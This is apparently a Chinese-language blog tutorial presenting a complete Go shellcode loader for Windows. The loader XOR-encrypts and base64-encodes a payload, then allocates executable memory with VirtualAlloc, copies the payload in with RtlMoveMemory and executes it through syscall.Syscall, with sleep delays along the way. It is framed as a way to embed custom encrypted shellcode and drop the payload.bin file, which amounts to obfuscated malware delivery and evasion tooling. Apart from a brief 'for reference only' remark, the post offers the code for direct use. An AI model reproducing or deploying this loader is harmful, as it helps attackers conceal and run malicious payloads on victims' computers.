Go语言实现Shellcode加密执行：自定义加密Shellcode，告别Payload.bin依赖

这段代码实现了一个简单的加密解密函数，并使用了XOR加密算法对shellcode进行加密。具体实现如下：

定义了一个 XorKey 二维数组，其中每个元素都是一个长度为8的byte数组，用于存储加密密钥。
定义了 XorCipher 函数，用于对数据进行XOR加密。该函数接收两个参数：key和src，分别表示加密密钥和需要加密的数据。函数内部实现了一个循环，每次将需要加密的数据和密钥进行XOR运算，得到一个加密后的byte，并将其添加到一个 dst 数组中，最终返回 dst 数组。
定义了 Crypt 函数，用于对数据进行加密。该函数接收三个参数：cipher、key和src，分别表示加密算法、加密密钥和需要加密的数据。该函数先调用 cipher 函数进行加密，然后返回加密后的数据。
定义了 Encode 函数，用于对shellcode进行加密并返回加密后的字符串。该函数先将shellcode转换为byte数组，然后调用 Crypt 函数对其进行加密，加密密钥为 XorKey[0]。最后使用base64编码将加密后的byte数组转换为字符串并返回。
定义了 Decode 函数，用于对加密后的字符串进行解密并返回解密后的byte数组。该函数先使用base64解码将加密后的字符串转换为byte数组，然后调用 Crypt 函数对其进行解密，解密密钥为 XorKey[0]。最后返回解密后的byte数组。
定义了 exec 函数，用于执行解密后的shellcode。该函数接收一个参数 charcode，表示需要执行的shellcode，先使用 VirtualAlloc 函数在内存中分配空间，然后使用 RtlMoveMemory 函数将shellcode拷贝到分配的空间中。最后使用 syscall.Syscall 函数调用拷贝到内存中的shellcode。
定义了 readFile 函数，用于读取文件并返回其内容的byte数组。
在 main 函数中，先使用 readFile 函数读取 payload.bin 文件的内容，并将其转换为字符串。然后使用 Encode 函数对 payload 进行加密，并使用 Decode 函数对加密后的字符串进行解密得到解密后的shellcode。最后调用 exec 函数执行解密后的shellcode。

如果需要手动添加加密后的shellcode，则可以将加密后的byte数组直接赋值给 shellCodeHex 变量即可，例如：

shellCodeHex := []byte{0x01, 0x02, 0x03, ...}

然后调用 exec 函数即可执行加密后的shellcode。

代码示例：

package main

import (
	"encoding/base64"
	"io/ioutil"
	"syscall"
	"time"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var XorKey = [][]byte{
	{0x13, 0x54, 0x77, 0x1A, 0xA1, 0x3F, 0x04, 0x8B},
	{0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B},
	{0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B},
}

type CipherFunc func(key []byte, src []byte) []byte

func XorCipher(key []byte, src []byte) []byte {
	var dst []byte
	for i := 0; i < len(src); i++ {
		byteToEncode := src[i]
		for _, k := range key {
			byteToEncode ^= k
		}
		dst = append(dst, byteToEncode)
	}
	return dst
}

func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
	return cipher(key, src)
}

func Encode(src string) string {
	payloadBytes := []byte(src)
	encodedBytes := Crypt(XorCipher, XorKey[0], payloadBytes)
	bdata := base64.StdEncoding.EncodeToString(encodedBytes)
	return bdata
}

func Decode(src string) []byte {
	decodedBytes, _ := base64.StdEncoding.DecodeString(src)
	payloadBytes := Crypt(XorCipher, XorKey[0], decodedBytes)
	return payloadBytes
}

var (
	kernel32      = syscall.NewLazyDLL("kernel32.dll")
	ntdll         = syscall.NewLazyDLL("ntdll.dll")
	VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
	RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
)

func exec(charcode []byte) {
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	time.Sleep(5 * time.Second)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
	time.Sleep(5 * time.Second)
	syscall.Syscall(addr, 0, 0, 0, 0)
}

func readFile(filename string) []byte {
	data, _ := ioutil.ReadFile(filename)
	return data
}

func main() {
	// payload := string(readFile("./payload.bin"))
	// encodedPayload := Encode(payload)
	// shellCodeHex := Decode(encodedPayload)

	// 自定义加密后的shellcode
	shellCodeHex := []byte{0x01, 0x02, 0x03, ...} // 替换为实际的加密后的shellcode
	exec(shellCodeHex)
}

注意：

实际应用中，需要根据具体需求选择合适的加密算法和密钥。
在使用自定义加密的shellcode时，需要确保其正确性，否则可能会导致程序无法正常执行。
以上代码仅供参考，请根据实际情况进行修改和完善。

Go语言实现Shellcode加密执行：自定义加密Shellcode，告别Payload.bin依赖